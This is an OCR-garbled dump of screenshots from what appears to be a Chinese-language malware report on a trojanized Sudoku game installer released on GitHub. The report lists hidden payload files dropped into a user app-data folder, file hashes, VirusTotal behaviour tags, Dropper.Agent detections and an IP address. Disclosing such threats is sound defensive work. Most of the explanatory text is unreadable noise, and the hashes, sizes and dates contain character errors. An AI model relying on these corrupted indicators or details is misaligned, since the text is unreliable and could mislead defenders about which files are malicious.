NBERET B
C iR
A

C il

C il

Compiled Resou...

C Header iF>2i%
CiFsiF
CiFsF

A

Windows #t4hA...

M
WFEEFT B

Windows #tAhE. ..

F

42 KB
1 KB

1 KB
153 KB
4 KB
41 KB
2 KB

3 KB

3 KB

5 KB
39 KB
4,505 KB
1 KB

1 KB
791 KB
314 KB
1 KB

G TERIAGMNESTEMEB , B1E20184 |, federicadomanil P#FAIE sudoku-Game -

Solver-Generator PIR{HEHR L IEFEFSetup_SudokuGameSolverGenerator_1_0_1_0.exe¥iBIK
=5, FAMEEFBEEKSEvirustota TIPS IERX R RS F IR EE,

FE A

N4 Setup_SudokuGameSolverGenerator 1 0 1 _0.exe
MD5 8dc4e3e4926561153d66d3818a5094ae

LAREAZEA  Inno Setup Module(5.5.7)

XK/ 2.14 MB (2244685 bytes)
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H federicadomani / Sudoku-Game-Solver-Generator ' Public £ Notifications % Fork 1 T ostar 1

<> Code ( Issues 1 19 Pullrequests () Actions [ Projects @ Security |22 Insights

Releases / v1.0.1.0

. Compare ~
Sudoku Game Solver Generator version 1.0.1.0
@federicadomani released this Sep 11,2018 ¢ v1.01.0 -0 @2f4111 &
Sudoku Game Solver Generator version 1.0.1.0 has been released. Project has been resumed after 1 year of silence! N
SHA256(Setup_SudokuGameSolverGenerator_1_0_1_0.exe)= 9009ea3f195a14a77e535fc07463cd57f0a7e4655747cd38¢118b72a3b6e9039.
v Assets 3
@ Setup_SudokuGameSolverGenerator_1.0_1_0.exe 2.14 MB Sep 11, 2018
m Source code (zip) Sep 11, 2018
A Source code (tar.gz) Sep 11,2018

£ Follow \/ C' Reanalyze &, Download v = Similar v

9009ea3f195a14a77e535fc07463cd57f0a7e4655747cd38c118b72a3...

o Setup_SudokuGameSolverGenerator_1_0_1_0.exe 2.14MB 2 years ago

peexe overlay runtime-modules detect-debug-environment calls-wmi direct-cpu-clock-access long-sleeps

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY '3

Voting details (3) ©

! deleted_user , tomeddenberg l eleonora_milkova

1year ago T years ago T years ago

Setup_SudokuGameSolverGenerator_1 0_1_0.exeF N HREZFEF L FRF_E AR EIARLAA
EERRFPRIE AR B A _E AR R E A0,

24/30



) InnoExtractor 2025 v10.1.0.116 Free - Sudoku Game Solver Generator 1.0.1.0 — O >

M &E Em O EE FEE| Ulral

L- - QO

TH# fEEL | BIE B Eit

it #x+ BER HiE

1| sudokuGameSolverGenerator. exe 1.89M  2015-09-110%:44  {app}

1| sycfdomi. exe 299K 2013-07-2403%31  {userappdata}‘svcfdomd
1| sycfdom 1.exe 280K 20183-07-240331  {userappdata}‘svcfdomd
__| swcfdomma 313K 2013-03-23 06:33  {userappdata}\svcfdomd
__| swcfdommag 260K 2013-03-28 06:33  {userappdata}‘svcfdomd
| gvcfdomy.dll 5.00K 2018-07-2403:42  {userappdata}'svcfdomd
— | _readme. txt 2428 2017-05-2205:20  {userappdata}'svcfdomd
Bcummun.h 2.29K  2007-04-06 21:13  {app}\source_code
Bsuduku.h 31.6K 2018-09-110%:43  {app}\source_code
Esuduku.cpp a0, 1K 2017-06-1507:57  {app}\source_code
Bengine.h 5. 75K 2007-04-06 15:58  {app}\source_code
Eengine.cpp 25.9K 2017-06-070%:39  {app}\source_code

_ | favicon.ico 343K 2018-09-1105:44  {app}

— | License, txt 35.8K 2026-03-10 14:10  embedded

__| CompiledCode. bin 483K 2025-03-10 14:10  embedded

B WizardImage.bmp 174K 2026-03-10 14:10  embedded

Bl Wizardsmalllmaged.bmp 3.83K 2026-03-10 14:10  embedded

| default.isl 2968 2025-03-10 14:10  embedded

g-] install_script.iss 483K 2026-03-10 14:10

% CodeSection. txt
@RegistySEcﬁDn.reg
E‘SEUJpIch.i::D

ra

2026-03-10 14:10
2026-03-10 14:10
2026-03-10 14:10

Wi 2 L 4L(EDR)

HmEEeorR BVFAICR T EH LT FIES) , BT AT R AGREDRE | AT AR Mg FE vt
ITERAR R AN R, BT RRT ARG TESN IS KBNS S5 0.
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= Dropper.Agent
Dropper.Agent
vl Dropper.Ager
%783: 17 .\938b54eb7a7b24
Dropper.Agent!1
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Hi=

FE = 00:00:02
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IR W&
\938b54eb7a7b2426bcfc97efa6659f2cc =
cab.cab:InstallConfigDIl_UnRARO dll
cab1.cab:InstallConfigDll_UnRARO_dll
eaf723189176bd4d86546752877d5b FAHE
medial.cab:UnRARO.dIl
medial.cab:UnRARO.dII
v EHfEEEE BfEserEaEL

« MD5
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185.141.216.185
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